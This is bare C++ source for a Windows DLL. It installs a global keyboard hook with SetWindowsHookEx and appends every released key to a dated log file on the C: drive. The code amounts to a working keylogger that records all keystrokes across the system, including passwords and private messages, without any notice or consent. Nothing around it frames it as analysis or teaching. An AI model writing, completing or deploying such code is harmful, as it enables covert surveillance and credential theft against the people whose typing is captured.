//Hookdll.h extern "C" _declspec(dllexport) InstallLaunchEv(); HHOOK Hook; LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam); void SaveLog(char* c); //Hookdll.cpp void SaveLog(char* c) { CTime tm=CTime::GetCurrentTime(); CString name; name.Format("c://Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); CFile file; if(!file.Open(name,CFile::modeReadWrite)) { file.Open(name,CFile::modeCreate|CFile::modeReadWrite); } file.SeekToEnd(); file.Write(c,1); file.Close(); } LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam) { LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); if(nCode==HC_ACTION) { if(lParam & 0x80000000) { char c[1]; c[0]=wParam; SaveLog(c); } } return Result; } //extern "C" BOOL PASCAL EXPORT InstallLaunchEv() extern "C" _declspec(dllexport) InstallLaunchEv() { Hook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LauncherHook,theApp.m_hInstance,0); return TRUE; }